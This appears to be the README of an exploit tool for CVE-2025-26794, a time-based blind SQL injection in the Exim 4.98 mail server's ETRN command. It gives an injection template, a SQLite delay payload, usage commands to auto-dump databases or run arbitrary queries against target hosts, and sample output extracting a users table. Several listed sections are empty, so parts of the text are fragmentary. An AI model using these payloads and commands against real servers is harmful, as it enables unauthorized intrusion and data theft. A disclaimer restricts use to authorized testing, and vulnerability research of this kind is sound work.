
SQL injection exploit for CVE-2025-26794 in Exim 4.98. Automated data extraction via time-based blind SQLi. For authorized penetration testing only.
A proof-of-concept exploit tool for CVE-2025-26794, demonstrating SQL injection vulnerability in Exim 4.98 mail server via the ETRN command when using SQLite DBM storage.
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is provided for educational purposes and authorized penetration testing only. Unauthorized access to computer systems is illegal under various laws including:
You must have explicit written authorization before testing any system you do not own.
The authors and contributors assume no liability for misuse or damage caused by this tool.
CVE-2025-26794 is a SQL injection vulnerability in Exim 4.98 that occurs when:
This vulnerability allows attackers to:
# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
| Option | Description |
|---|---|
host | Target hostname or IP address (required) |
-p, --port | SMTP port (default: 25) |
-t, --timeout | Socket timeout in seconds (default: 30) |
--threshold | Time delay threshold for detection (default: 0.8s) |
--test-only | Only test vulnerability, no data extraction |
--auto-dump | Automatically dump database structure and data |
--interactive | Launch interactive SQL query console |
--table TABLE | Target specific table for extraction |
--columns | Extract column names (use with --table) |
--query QUERY | Execute custom SQL query |
ETRN #',1); <MALICIOUS_QUERY> /*
The payload exploits improper sanitization in the ETRN serialization handler, allowing SQL injection into SQLite queries.
Uses SQLite-specific time delay:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
This creates a measurable delay (~1-2 seconds) when condition is true.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
If you are running Exim 4.98 with SQLite DBM:
The exploit uses binary search to efficiently extract characters:
unicode(): Get ASCII value of charactersubstr(): Extract substring from resultsqlite_master: System table for schema enumerationpragma_table_info(): Column metadata extractionContributions are welcome for:
Please ensure all contributions include:
This project is released for educational purposes only. Use responsibly and legally.
XploitGh0st
If you discover vulnerabilities using this tool:
Remember: With great power comes great responsibility. Use this tool ethically and legally.